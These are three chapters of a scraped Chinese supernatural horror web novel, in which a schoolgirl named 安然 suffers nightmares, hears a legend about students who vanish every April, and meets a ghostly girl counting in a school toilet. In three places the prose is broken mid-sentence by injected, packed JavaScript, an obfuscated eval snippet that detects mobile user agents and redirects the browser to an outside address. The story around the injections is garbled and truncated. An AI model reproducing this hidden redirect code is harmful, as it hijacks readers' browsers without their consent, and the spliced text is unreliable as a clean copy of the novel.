《喂!看见我命格了么?[玄学]》 1. 第1章 “呼——” “呼——” “呼——” 急促的呼吸混杂着凌乱的脚步声回荡在寂静而狭窄的楼道里。 那清晰如同定位的哒哒声每一步都像是踏在了女孩儿脆弱的心脏上,她极力想要控制脚下的力道,可心底强烈的恐惧无时不再催促着她快一点、再快一点... 这是...几层来着? 4层... 3层... 还是...2层...? 刚刚的那些是...真的么? 恶作剧的吧...? 女孩儿狠狠咬了一下嘴唇,尖锐的疼痛让那些即将浮现的画面戛然而止,尤其当拐角墙壁上醒目的“2”映入眼帘,她更是立马将所有的注意力全部放在了脚下的台阶上。 水泥浇筑的阶梯在夜色映衬下,只能隐约看到一些模糊的轮廓。 快了... 快了... 只剩最后一... 死里逃生的喜悦仅维持了数秒就被惊愕替代,散发着金属光泽的“2”清晰倒映在女孩儿漆黑的瞳孔之上。 怎么会... 眼...眼花了...吧? 乍然沉寂下来的楼道安静地有些诡异,女孩儿不敢上去确认,更不敢看扶手下的那一片深不见底的漆黑。惶恐和不安让她的思维变得迟滞,停悬在台阶上的脚似乎正在地狱边缘徘徊。 也许是几秒,也许是几分钟,哒哒哒的脚步声才又重新响了起来。 只是很快又再次安静了下来。 显然,女孩儿的自欺欺人并没有换来期待中的结果。 被冷硬金属漆覆盖的‘2’静静和她对视,像是在嘲笑她的自不量力。汗水划过额角顺着下巴掉在了冰冷的石阶上,她下意识做了一个吞咽的动作,但干涩的喉咙并没有因为那点零星的唾液而得到滋润,相反干渴让她越发难以忍受。 咚。 咚。 咚。 沉闷的撞击声从女孩儿头顶上方传来,连带着整个楼道都跟着发出轻微的震颤。 她下意识看向身后,可除了浓雾一般的黑色以外,什么都没有。 “夏澄澄?”女孩儿试探地喊了一声。 没有人回应。 “林...林梓露?” 咚。 咚。 咚。 黑暗中有什么在靠近。 咚。 咚。 咚。 女孩儿呆立在原地,不知道是被吓得忘记了逃跑还是被不断靠近的声音吸引了所有注意力,她的指甲深深嵌进扶手,任由边缘翘起细小的木刺扎进肉里。 咚。 咚。 咚。 声音近在咫尺。 她满是血丝的眼球几乎要瞪出眼眶,眼睛死死盯着身前的黑暗,下意识屏住了呼吸。 咚。 声音戛然而止。 周围是死一般寂静。 女孩儿心脏跳的飞快,惨白的脸颊很快漫上了一抹不正常的青紫。 “嗬嗬嗬...” 一张扭曲而苍白的脸猛地从黑暗中钻了出来。 女孩儿仅存的理智瞬间绷断,发出了一声尖锐而凄厉的惨叫... ************************** 安然睁开眼睛。 漆黑的房间看不见一点光亮。 急促的喘息声似乎还回荡在耳边,但梦的内容无论她怎么回忆,都记不起来一点。 胀痛的太阳穴突突地跳着,她用力地按了按眉心,传进大脑的钝痛却并没有好转,大有一种‘你不理我,我就跟你干到底’的架势。她认命地从床上爬起来,伸手按下了床边的台灯。 乳黄色的灯光笼住了床头,黑暗瞬间便被驱逐到了床尾,一张床像是被强行割裂成了的两个世界。 安然想不起来这是这个月以来的第几次梦魇。每次醒来,她都记不起梦里的内容,黑暗、绝望、恐惧和窒息是她唯数不多能回忆起来的东西。 不。 那个梦... 只有那个梦... 她的手猛地攥紧。 好像就是从那天开始,自己才隔三岔五就要经历这样乱七八糟的梦魇。 安然轻轻晃了晃脑袋,梦这种东西毫无逻辑可言,她不觉得自己该被这种虚无缥缈的感觉影响。 她闭了闭眼,再次按住太阳穴的位置。可能是刚开学不久,重新调整得作息让自己有些疲惫,也可能真像她哥说得那样,是乍然分别带来的不适应... 再或者... 安然垂下眼眸。 再或者是潜意识里对丁筝说的那些生出了一点不良反应... 丁筝... 安然眼中的黯然一闪而逝,她拿起床头柜上的手机: 【周一】 【04:25】 屏幕的亮光打在她的脸上,让原本暖色的光晕里多出了一抹冷白,纤长的睫毛在她眼底投下淡淡的阴影,让人看不清她此刻的神情。 拇指滑动的动作停下,停留在了标着【丁筝】对话框上。 最后的对话是一段时长55秒的白色语音条。 安然抿唇,盯着语音条边上的红色小点,停悬在屏幕上的指尖有些踟蹰不前。 直到屏幕变成了黑色。 安然眸光微动,没由来的一阵烦躁,手机滑落坠在枕头上又微微弹起,她随手推到一边,转身去拉床头柜的抽屉。 “吱嘎——” 陈旧的木轴相互摩擦在寂静的午夜显外刺耳。 安然嘴角抽了抽。 老头子果然一点都不靠谱,说好走之前给她修床头柜的,结果还是这样。 忍不住在心里吐槽了几句,便将目光落在了躺在抽屉里的牛皮色木盒上。 盒子年头不短,独属老木的包浆在暖灯下泛着油黄的色调。 安然打开盒子,一股淡淡的檀香便萦绕在了鼻间,这让她一直绷着的情绪不由放松下来。 香很细,呈暗金色,和老头子平时用的有些不一样。 她拿出一根,在指尖来回摩挲。这香是老头子走之前给她的,说是能安神,只是安然不喜欢香的味道,总觉得那股看似祥和让人安心的香气里有种说不出的拒人千里的冷淡,是独属于漫天神佛的味道。 安然不信神佛,更不信鬼怪,对于这种自带玄学气息的物件自然好感不多。 用她哥的话来形容,她就是一个‘天生的唯物主义,铁打的无神论者’。 其实照理说以老头子‘神棍’的身份,她从小耳濡目染,多少都会沾染上一些‘神棍气质’才对,但很奇怪,对于这些东西,她似乎天生就种莫名的... 清醒。 还有一点说不清道不明的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850053|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 排斥。 但那种排斥很复杂,似乎并不针对别人,只针对她自己。 就比方说老头子总是爱摆弄他的那些有着浓厚传统色彩的“宝贝”,还喜欢给他们讲各种神神鬼鬼的故事,这些她并不反感,那感觉就像见识了古人某种另类的并流传至今的智慧和对未知事物产生的奇异遐想。 她觉得很有意思。 但也仅限于对故事本身的有意思。 更何况老头子也不是那种传统意义上的神棍或者是江湖骗子,他更像是结合了民俗、心理、中医和一些他自己独有的经验和嗯...语言技巧的一个... 安然眉毛微挑,唇角轻轻牵起。 一个有些本事的‘神棍’。 况且在她看来,老头子做的那些,不过是周瑜打黄盖,一个愿打一个愿挨,各取所需而已。 最起码,撇开那些神神鬼鬼的不靠谱言论,他的确帮助了很多的人,并成功养活了他们兄妹俩个。 沙砾的质感在指尖散开,鼻间的香味更浓了。 安然深深吸了口气,唇角忍不住向上翘了翘。 这香应该是老头子为她特制的,香味里少了那股子冷淡和飘忽不定,多了份让人安心的踏实。 虽然老头子有时很不靠谱,但医术上她还是很有信心的。 香味弥漫,暖黄的灯光让人昏昏欲睡。 安然的视线渐渐变得模糊,耳边似乎有雨水掉落在房檐的滴答声,她的睫毛不自觉地跟着雨点的节奏轻轻颤动,缓缓闭上了眼睛... 雨声渐大。 雨点砸在地上,滴答滴答的声音顺着幽深的走廊传进了地窖。 地窖很暗。 除了门上隐隐有暗金色符文在流动外,没有一丝光亮。 对面的墙上挂着一个半人高的神龛。佛龛里没有神佛,没有贡品,只有一个巴掌大的木盒。 两边靠墙的位置则是摆放着两个巨大的木架,上面坐着许多穿着不同长相各异的娃娃。制作她们的人似乎很用心,将眉眼细节刻画的十分到位,像是真的有和这些娃娃一样的女孩儿曾在人间生活过。 “咯吱——” 突兀的声音打断了地窖和谐的平静。 “咯吱——” 神龛震颤,像是有什么东西即将要挣脱出来。 “咔哒——” 一根苍白的手指从盒子掀开的缝隙里探了出来,缠着在上面的锁链发出阵阵嗡鸣,链身上浮现出了一个个金色符文。 第二根指伸了出来。 锁链猛地绞紧,像是想要将里面的东西逼回去又或是想要将那两根手指狠狠绞断。 雨势更大。 锁链越缠越紧。 但仍旧没能阻止的了第三根手指的出现。 铁链上的金色符文像是正在被一股无形的力量撕扯,字符上竟渐渐生出了裂纹。 暴雨砸在房檐发出沉闷的啪嗒声。 就在第四根手指即将伸出盒子,木架上的娃娃们突然转头,她们齐齐看向佛龛的方向。 漆黑的瞳孔上浮现出了暗金色符文,那些符文像是活过来一般,浮在半空,它们彼此缠绕交联,转眼便形成了一张暗金色的网,以迅雷不及掩耳之势朝着盒子拢了上去。 三根手指猛地收回。 “啪——” 木盒合拢。 周围陷入漆黑,一切在暴雨的洗礼中重新归于了平静…… 2. 第2章 黏腻的风裹挟着暴雨残留的湿气吹进了清晨的高一(3)班。 明明才四月份,热浪却已经毫不留情地席卷了整个校园,让原本就有些闷热的教室像是个刚刚上屉的蒸笼。 安然捋了捋黏在后颈的头发,耳边的发丝微微带了点湿意。晨起的那点轻松早已消失殆尽,只剩下满心的烦躁和不安,视线从英语书第二单元的标题“A Travel Blog”移到身侧的空荡荡的座位上。 快7点40了。 想起早晨的那段语音,安然眸光微暗,拿出手机,按下了通话键。 “嘟——” “嘟——” “嘟——” 她记不得这是给丁筝打的第几通电话,但每次都如石沉大海没有半点回应。 这一次也没有例外,很快,听筒那头有节奏的嘟嘟声就变成了机械的忙音。 安然皱眉,盘踞在心头的那股子焦躁越发让她无所适从,她用力揉了下隐隐作痛的小腹,随手将手机扔进了抽屉。 “靠!这么热的天儿,不让人开风扇,这破学校还有没有点人权了?!”斜挎着黑色背包男生刚进教室门就忍不住抱怨。 “就是啊...感觉要中暑了...”有人有气无地附和。 “我跟我妈说学校不仅把风扇的闸关了还上了锁,她还不信!非说县重点高中不至于这么抠门,连这点电费都要省...” “学校的电费好像比家用的便宜吧?”有人发出疑问。 “我一直以为学校的电费是教育局报销的...” “可能学校是出于某种考虑吧...也可能和学校的位置有关系,位置不好,梅雨季的时候通风不太行...空气不流通...”另一个扎着马尾的女生搭茬。 “这跟位置有啥关系啊学霸...”黑包男生打断,“咱们教学楼这块又没被什么东西挡着,四面通风的好吧?男生宿舍那块位置才是真的垃圾!要不是上个月校庆那几个事业有成的大佬回母校捐款,还不知道要在那破地方住多久呢!万秃子那帮人就是抠门!” “要不...咱们联名要求学校开风扇吧?”一个呼哧呼哧感觉下一秒就要喘不上气的男声插了进来。 黑包男生吐槽:“胖胖,这招要是有用的话,你觉得还用得着咱们忍受没风扇的四月?这破规矩又不是从们这届开始的...再说了,我们扇风多少还能凉快点,你不觉得你扇只会越来越热么?” “喂!是庞鹏!” 周围几人哄笑起来。 安然没理会身后的讨论,自打进入梅雨季,这种没什么营养的抱怨,几乎每天都能听到。 “不过...”另一个声音插了进来,“好像只有咱们学校这样欸...”女生的声音听上去有些踟蹰,像是在犹豫接下来的话,该不该说出来。 安然蹙眉,只听那声音继续道:“我闺蜜说梅雨季的时候虽然也闷,但她们学校好像没像咱们这么热...” 哄笑声音小了下来,有人加入讨论。 “我之前也跟我发小儿吐槽过这事,他居然还笑我娘叽叽的太夸张了!”男生提起这事仍旧愤愤不平,“真该让他过来坐一个月试试!” “我跟我妈说的时候,她还非说是我矫情,说什么‘上学校是去学习知识的,是吃苦的,不是去享受的,我们那时候想上学都没机会...’我的天,我都无语了!”另一个短发女生出声附和,蓦地她像是想到什么看向身旁:“对了,盛阳。你上次说的那个一直在国外工作的表姐回来了没?” “嗯...回来了...”不知道这女生平时说话习惯就是这样还是真的在犹豫什么,声音总是给人一种拖泥带水的感觉。 “那你问了么?”短发女生的声音有些兴奋。 “问...问了...”林盛阳的声音听上去比之前更加犹豫不决,像是正在踌躇或者在衡量着什么。 “你表姐怎么说?”短发女生的声音更加兴奋:“不会真跟咱们学校的那个传闻...一样吧?” “ 传闻?咱们学校有什么传闻么?”黑包男生看向说话的两人面露疑惑,也成功将所有注意力都集中在了他她们身上。 “就镜子的那个。”短发女生敷衍地挥了挥手。 “镜子?”黑包男生眼神茫然,很快恍然大悟,随即又皱起了眉头:“那不是前几届老生瞎编的么?你之前不试过了?” “那些学姐自己都没试过,说不定是中间哪个细节说错了呢?”短发女生一脸不爽,白了眼对方:“还有王皓,你能不能别老是打岔?” 王皓立马闭嘴,在唇边做了个拉拉链的动作,拉开一旁的凳子坐了下来,一副洗耳恭听的样子。 “盛阳,别理他,你继续...”短发女孩看向林盛阳,眼中满是跃跃欲试。 林盛阳抿唇,先是点头,紧接着又摇了摇头:“不是镜子...” “是吊扇...” “吊扇?” 林盛阳点头:“嗯。我表姐是咱们一中05届的毕业生...只是她在的时候,学校还没这个规定...” “那...”短发女面露失望,欲言又止。 “她告诉我,这个规定是在她上大学的以后出现的...” “05届?”有人插嘴,“你这表姐年龄有点大啊!叫表奶奶还差不多!” “喂!这是重点吗?重点是时间,时间啊兄弟!” “05...我艹!大学算大四的话...这规矩也至少25年了啊!真的假的林盛阳?你表姐真是咱们一中的?” “喂!你们能不能别老是打岔?就不能等人说完再问?! ”短发女孩一拍桌子,“人家盛阳表姐吃饱了撑的逗你们玩?05届的学生又不止人表姐一个,你们不信可以自己找人打听啊!一个个的爱听听,不听拉倒!” 没搭理那几个男生难看的脸色,短发女孩转头看向林盛阳,“盛阳,你别理他们!接着说...” 林盛阳点头:“我表姐说学校之所以不让开吊扇...是因为...学校每年四月都会有人消失不见...” “哈!”之前被怼的男生阴阳怪气地打断:“这太扯了吧?!消失?因为什么?因为这个电风扇?”他指着头顶的风扇:“吊扇杀手...还是吊扇绑架犯?” 男生周围几个人跟着起起哄来。 “消失?还每年?搞笑呢吧!真要那样,咱们学校还能开到现在?” “你有病吧陈一帆!让你听了么?!老搭茬显得你与众不同是不是?!没人告诉你随便你打断别人说话很没教养么!”短发女生正听的入神,猛地被人打断,眉头一皱,一下子站起来,怒瞪着说话的男生。 叫陈一帆的男生看着发怒的短发女生,眼神躲闪了一下,但还是嘴硬道:“男...陈温柔,别以为你会点三脚猫功夫就了不起!我劝你以后还是少看点那些无脑的恐怖小说,否则再干出点蠢事,到时候还得你妈给你擦屁股...” “陈一帆你TM找揍是吧?!”陈温柔一拍桌子,立马就要找对方算账,却被身边的林盛阳一把拉住。 “我说的都是真的。”林盛阳一改之前的犹豫不决,看向起哄的那几个男生,“我表姐的闺蜜就在那个时候失踪了,所以即便后来毕业,她也一直在关注着学校的情况。” “至于学校为什么没事...是因为那些人都是离开学校后才不见的。” 不知道是林盛阳的表情太过于认真,还是害怕陈温柔发飙会殃及池鱼,班级里一下子安静了下来。 “一开始没人把这件事跟学校联系起来,因为那个年纪的学生冲动、易怒,离家出走之类的事情时有发生,但后来失踪的人越来越多,这才引起了校方的关注。知道咱们学校那个心理辅导室吧?据说就是那个时候成立的。” “但结果并没有什么用...学校还是陆续有人消失不见...” “后来有家长闹到学校,认为是学校给孩子的学习压力太大才导致他们离家出走...表姐说当时闹得很大,最后教育局不得不派人下来对学校进行了调查。但仍旧有学生失踪...” “不过好在大部分家长都还是理智的...” “理智”这两个字,从林盛阳嘴里说出来带上了点嘲讽的味道:“直到后来...有老师发现了规律。他们发现那些人失踪的时间都在四月份...” “学校将这事上报,没多久就来了几个心理学方面的专家,他们来学校调查,询问...” “那些人后来找到了我表姐...” “他们似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850054|175810||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乎知道我表姐一直都有关注学校的情况...” “他们问了她很多的问题...那些问题...表姐说他们并不像自我介绍的那样,是心理方面的专家...” “没多久,她就听说一中要对教学楼进行整改。她直觉这事应该和那些人有关,于是便找人去打听了一下,结果发现整改的不是教学楼而是电路...而且只有吊扇的电路被全部拆分了出来...” “从那之后,学校真的没有再发生有学生失踪的情况...” “但我表姐...” “没能放下她闺蜜的事,反倒越发迫切地想要知道事情的真相...” “于是她开始调查一中的历史,调查那些和校吊扇有关的所有事情。” “表姐说那段时间她好像是着了魔...身边的人都觉得她疯了,最后甚至休了学...” “直到有一天,她终于在档案里找到了一起有关于一中的案子...” 林盛阳说到这儿的时候停顿了一下,握紧了拳头。 教室里很安静,几乎所有人都在等待着故事的下文,安然同样安静地听着。 林盛阳垂下眼眸,视线落在自己有些苍白的手腕上,一道细小红痕从袖口里露了出来。 “盛阳?” 林盛阳眼中的挣扎一闪而逝,她扯了扯袖子,深吸一口气:“一中曾有个学生被人发现吊死在了教室里的吊扇上...他的头被劈的只剩下了一半...” 有人倒吸了一口凉气。 “表姐看了当年口供的记录,记录上说死者在智力上似乎有些问题,能进一中的原因是他妈妈是学校高薪外聘来的数学老师。” “这案子最后是以自杀结案的,那个老师去警局闹了两次,据说后来也失踪了...” “我表姐原本打算继续去找当年那个班级的学生或是对那件事有所了解的人问一问的,只是她还没来得及行动,就被我大姨送去了国外...直到上周末才回来...” 安静。 林盛阳的故事真实的有些不像是故事了。 “呃...之前那个...那个谁...找到了么?” 有人突然出声。 “谁?” “就那个万秃子的女儿...”说话的人犹豫了一下,“上个礼拜...她不是...不是把那个吊扇电闸的锁…给开了么...” “不是吧...不是吧?!” “那些人还起哄...说她是女义士来着...” “巧合的吧...” “.......” 班级里再次吵嚷起来,只是这一次说话的不再是林盛阳一个。所有人都跟打了鸡血似的,讨论着那些不知道在哪里听说的灵异故事还有那个离家出走的女孩的事。 他们像是和对方住在一起似的,说着或猜测或臆想的‘事实’。 安然回头看了眼垂眸应和着陈温柔的林盛阳皱紧了眉头。 她不觉得林盛阳是为了博眼球而编造了那么个故事,但她本能的感觉到对方似乎隐瞒了什么。 鬼么... 这世上真有那么个东西...? 安然表示怀疑。 收回视线,按住隐隐发疼痛的腹部,看了眼手机上的时间: 7:53。 没再理会身后的嘈杂,安然起身走出了教室。 杂乱的人声随着她的脚步越来越远,不知道是不是因为早自习马上要开始的原因,一路上安然只看到零星几个学生正匆匆往自己的教室赶。 走廊渐渐变得安静,周围的喧嚣像全部被阻隔在了外面。 安然瞥了身侧的玻璃,眼前教室里的每个学生都低头看着自己的手中的书,出奇的安静。 这个班级出人意料的勤勉。 哪个班的? 她往回退了几步。 “滴答——” 安然停下动作,收回了想要回头看看对方班牌的念头。 “滴答——” 水? “滴答——” “滴答——” “滴答——” 有节奏的滴水声清晰地传进了她的耳朵里,安然往前走了几步,看向声音传来的方向...... 3. 第3章 黑沉沉的天空有种山雨欲来的压迫,衬得走廊尽头的光线越发暗淡。 灯没开。 让本就有些潮湿的厕所看上去有些阴森。 “啪。” 头顶的灯光闪烁了一下,就又熄灭了。 安然搓了搓指尖沾染上的水汽,并没有在意,直接走了进去。 墙上的镜子蒙了一层灰,倒映在上面的影像看上去有种朦胧的不真实感。 镜前的水龙头没拧紧,有水正一滴滴落在洗手池,发出滴答、滴答的声音。 安然走近水槽,鼻尖动了动,拧上了龙头。 什么味道? 有点像植物腐烂...又有点像死水和微生物发酵后散发出的那股浑浊腐败气味。 啧。 不知道那个打扫阿姨这次又捣鼓出了什么反人类的东西,真不知道学校上哪儿找的这么个奇葩。 低头看向被积水覆盖的水池,倒影在泛黄的水面摇晃,灰扑扑的镜子上有什么一闪而逝,安然猛地回头——身后除了敞开着的隔间门,什么都没有。 错觉...么? 来不及细想,小腹又是一阵钝痛。 奇怪的痛感让她有些不知所措,用力按住腹部走进了其中一个隔间,关门前余光瞥见了一道身影。 有人进来了。 没理会外面的动静,安然扶着门板蹲下身,一手成拳用力抵住小腹,但疼痛的症状非但没能得到缓解,那股钝痛反倒更加明显。 “啪嗒——” 什么声音... 安然眉头皱紧,手指扣紧门板扶手,强烈的疼痛让她根本无暇分心。 “啪嗒——” “啪嗒——” 声音靠近,逐渐变得清晰。 “啪嗒——” 这是... 脚步声? “啪嗒——” “啪嗒——” “......” 空气里那股奇怪的腥腐味似乎更浓了,回荡在厕所的脚步也有些奇怪,不像踩在瓷砖上,倒像是踏进了泥泞的小路,每走一步都能飞溅起浑浊的泥浆。 又下雨了? “唔——” 肚子像是被人用力扯着,有什么迫不及待地要从里面冲出来,痛呼被她堵在了喉间,发出细微的闷哼。 “啪嗒——” 疼痛让安然的大脑出现了短暂的晕眩,但脚步声却如附骨之疽,清晰回荡在她的耳边。 门外的人在靠近。 “啪嗒——” 这人...想要做什么? 安然眉间紧锁,强烈的痛感混杂着粘腻的脚步声让她有些烦躁。 “啪嗒——” “啪嗒——” “.......” 浑浊的腥味已经浓到让她下意识屏住了呼吸,安然皱眉看着从门底缝隙倒映出的阴影出声提醒:“有人。” 声音戛然而止。 阴影却并没有消失。 这人...到底怎么回事? “咚、咚、咚。” 清脆的敲门声在厕所荡出了回音。 安然被吓了一跳,有些生气,拔高了音调:“有人!” 安静。 时间一分一秒的过去,门缝下的阴影似乎更深了。 一股异样感瞬间萦绕安然心头,好像有什么不太对... “啪嗒——” “啪嗒——” “......” 脚步声打断她的思考,安然垂眸,门缝下面已经空了。听动静,应该是进了旁边的隔间。 厕所重新安静了下来。 安然起身,腹部的疼痛好了一些,刚刚那一吼似乎将堵在心口郁气也一同散了出去。 瞥了眼身侧的隔板,那人进去后就没有一点动静,安静的有些过头了。 算了。 和自己也没什么关系。 手指在距离扶手几厘米的位置停了下来,淡粉的唇瓣被她抿的发白,低垂的眼眸瞥向身侧的隔板,轻轻敲了几下:“喂,同学!你没事吧?” 门那头没有一点反应。 安然撇嘴,暗骂自己多管闲事,指尖刚触碰到扶手,手臂就起了一层细密的鸡皮疙瘩,被人窥视的感觉涌上心头。 有人在看自己! 安然屏住呼吸,心脏几乎要跳出嗓子眼。 难道刚刚进来的不是学校的女生,而是什么偷窥的变态?! □□...还是非法网站? 难不成是...人贩子?! ...... 脑海里不合时宜地滑过了很多的想法,但身体的本能却已经先想法一步做出了反应——乳白的隔板在阴暗的光线下有些微微泛青,上面空荡荡的,什么都没有。 错觉么? 安然皱眉。 不对。 不是错觉! “碰!” 被推开的门板撞击到隔间,发出沉闷的声响。 安然冲向隔壁,瞳孔猛地一缩。 只见乳白的木板上满是交叠重合的泥脚印,就像有人曾无视地心引力在隔板上自由行走一样。 怎么可能... 安然顺着隔板顶部悬着的那半枚脚印,视线缓缓上移,只见天花板上也全都是密密麻麻泥脚印——波浪形的鞋底纹理有深有浅,在头顶绘制出了一张怪异而扭曲的脸。 什么鬼?! 安然心跳加速,被惊的后退了一步。 “哗——哗——” 突如其来的声音吓了她一跳,一回头就看见洗手池前站着一个穿着校服的女生正在低头洗手。 女孩似乎是被外面的雨水淋湿了,她的周围渗出一圈圈深深浅浅的水痕。校服是高一的新款,有些脏,背上溅满了大大小小的泥点儿,裤脚、鞋子更是染上了数道深褐色的污泥,已经脏到分辨不出原来的样子。 “喂,同学,你刚刚有看到什么奇怪的人么?”安然看向女生,手下意识指向头顶,“这上面...”她的声音戛然而止,只见灰白的天花板上除了灰尘和角落挂着的破碎蛛网,什么都没有。 安然收回手,又将目光转向厕所隔间,乳白的木板微微泛青,几笔算不上好看的涂鸦孤零零地停留在上面。 看...看错了...? 她不信邪地伸出手,指尖触及门板,手感微凉,并没有摸到其他东西。 安然眉间染上一丝不解,看了眼木板,又抬头瞥了眼头顶的天花板,之前的那些脚印就如同幻觉般没留下半点痕迹。 看错了吧... 瞥了眼天花板,她没再继续纠结,走到女生旁边,拧开了另一个水龙头,冰凉的水流穿过指缝,隐隐带着股淡淡的水腥气。 果然又下雨了。 之前王皓说的有一点,安然是赞同的,他们学校确实很抠门。否则也不会让水管老化到一到雨天就会散发出铁锈味的地步还不更换了。 随便冲洗了一下,她从口袋里拿出纸巾,抽了一张,将剩下的放在女孩身侧:“擦擦吧...” 女孩没有应声,只低头洗手。 安然也不介意,如果自己这么狼狈,估计也不想说话,刚要转身,就见女孩面前原本还算清澈的水流一下子变成了如墨汁一般的黑色。 “喂...”安然下意识提醒:“水脏了...” 女孩充耳不闻,像是压根看不到自己的双手已经被污水完全包裹。 污水有些粘稠,没多久通水口转眼便被堵上了,不断有污水从洗手池里溢出来,溅到女孩儿身上。 “喂!”安然赶紧将水龙头拧上:“就算身上弄脏了也不用这么自暴自弃吧?看不见水都变黑了么!” 哗哗的水声停止,她的声音在乍然安静下来的空间显得有些突兀。 “算了。你自己收拾收拾吧。”安然皱眉,她不是爱管闲事的人,只是丁筝现在的情况多少对她有些影响,她怕女孩同样会因为她的漠不关心出点什么事。 不会的。 丁筝不会有事的。 安然绷紧的唇瓣微微泛白,转身的动作被女孩儿含混的声音阻止。 “嗯?”安然看向女生。 女生低垂的头,散落的发丝遮住了她的眉眼,只有泛着青紫的嘴唇一张一合,似乎在说些什么。 “你说什么?”女孩儿身上透着丝丝寒意,安然感觉腹部似乎又开始隐隐抽痛,模糊的声音也随着她的靠近渐渐清晰:“三十一。” “三十二。” “三十三.....” 女孩儿在数数。 那声音像是有着某种魔力,让安然不自觉地跟着数出了声:“三十八。三十九。四十...” “四十四。” 话音落下,安然猛地清醒了过来,她后退了几步,戒备地看着女孩儿。 催眠...? “四十四...” “四十四...” “四十四...” 女孩儿像是忘了怎么继续,呼吸突然变得急促,呜咽中透着迫切。 “喂...”安然被这种怪异的氛围感染,下意识叫了一声。 但女孩儿像是完全沉浸在了自己的世界,对安然的询问充耳不闻,“...四十四...四十四...一、二、三、四、五...” 在安然诧异的眼神下,女孩竟又从头开始数数。 只是这一次,她的声音不再囫囵,毫无起伏的声音清晰地回荡在沉寂的空间里。 安然突然生出了一种奇怪的感觉,很久之前自己好像也在寂静空旷的地方这样一二三四五的数过。 而且不止她一个... 还有谁? 脑海有稚嫩的笑声伴着软糯的童音:“藏好了么?” 两道孩童嬉闹的身影在记忆里一闪而过。 哥哥... 安然其实没有多少小时候的记忆,大多都是从安老头的絮叨里知道的,说的最多的就是安然小时候有多体弱,睡着的时间比她清醒时要多多少...每次都一边说一边心有余悸念叨怕她就那样长不大了... 她对自己生病没什么印象,也不知道自己后来是怎么好起来的,一问安老头他就说是多亏了他的精心照顾,但安然知道,自己能顺利长大,她哥付出的绝对不比爷爷少,不然也不会拖到快11岁才上一年级。 “...四十、四十一、四十二、四十三、四十四...四十四...” 安然回过神,发现女孩再次卡在了44上。 但她的声音不再只是急切,还夹杂着痛苦,身体也不受控制地颤抖了起来。 安然终于察觉出了不对劲,往前走了两步,“喂!你怎么了?” 女孩儿没吭声,身体却颤抖的越来越厉害,呼吸也更加的急促,嘴里仍旧不忘念叨:“四十四...四十四...四十四...四十四...” “喂...” 声音戛然而止。 “嘀嗒。” 回应她是水滴掉落的声音。 安然低头。 厕所的地面不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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那样子似是在尖叫,又似在求救。 下一刻,无数液体争抢着从她的嘴里喷涌而出。 “还差一个!!!” “砰!” 腥臭的液体如同倾斜而下的暴雨,全部喷撒在了安然身上。她的眼前一片模糊,刺鼻的气味,粘腻的液体,破碎的血肉交织在一起,让她的大脑出现了短时间的宕机。 但很快,她就不得不从那种短暂的失神中清醒过来——有什么东西正在她身上游走。 粘腻的触感从她裸露的指尖爬向手腕,又顺着胳膊爬行至肩膀,战栗的不适从头顶直达脚底。 什么东西?! 未知的恐惧促使她迫切地想要知道自己身上到底有什么,可哪怕她将瞳孔下移到了极致,映进余光的仍旧只有一团模糊的黑色。 安然的心跳越来越快,她感觉自己身上爬满各种滑腻的软体动物,它们一路向上留下一道道粘液,那些粘液转眼又变成了万胜柔破碎的身体,腐烂的血肉混着灰白的骨渣以一种诡异的姿态蠕动着想要将她吞并。 滑腻的触感蔓延到了脖颈,安然眼中的绝望和恐惧再也掩藏不住,鼻子一酸,泪水夺眶而出。 爷爷... 哥哥... 但预料中的窒息感并没有如约而至,被泪水模糊的视线里蓦地出现了一张漆黑的脸。纯黑的五官不同于彩色,没有明暗分布,甚至没有凹陷和凸起。 突然,那张脸嘴巴的位置向两边缓缓牵起,露出了一个瘆人的笑。 安然心中涌起了种不好的预感。 下一刻,她瞳孔猛地一缩。 那张脸以迅雷不及掩耳之势猛地窜上她的心口,然后直接没了进去。 恶寒的感觉遍布全身,安然一个踉跄摔在了地上。胡乱擦了把脸上的泪,她死死按住颤抖的双腿。 冷静... 束缚感已经消失了.... 可以离开的... 没事的... 去找爷爷... 丁筝... 来的及的... 一定来的及的... 老头子会有办法的... 他一定会有办法的! 她强撑着想要从地上爬了起来,但恐惧如镣铐般束住了她的双脚。 安然抬手狠狠甩了自己一巴掌。 脸颊火辣的刺痛迫使她冷静下来,让那些杂乱的思绪暂时不再去纠缠刚刚发生的一切。 离开... 得赶紧离开这里... 念头一起,刺骨的寒意便从心脏的位置蔓延至了全身,安然瑟瑟发抖蜷缩成了一团,牙关开始不受控制的打颤,呼吸急促,就连汗毛都泛上了一层细碎的冰渣。 要死了么... 心脏被什么狠狠攥紧又猛地放开,血液也从炙热的红色变成了冰冷的蓝调。 不想死... 安然阖上的双眸不甘地掀开一道微弱的缝隙。 她想要睁开眼睛,想要呼救,想要去找爷爷,想要活下去...但她太累了,连勾动一下手指都做不到。 “爷...爷...” 安然的呢喃被风吹散,眸中仅存的那点模糊的光也随着垂下的眼帘一点点消散了个干净。 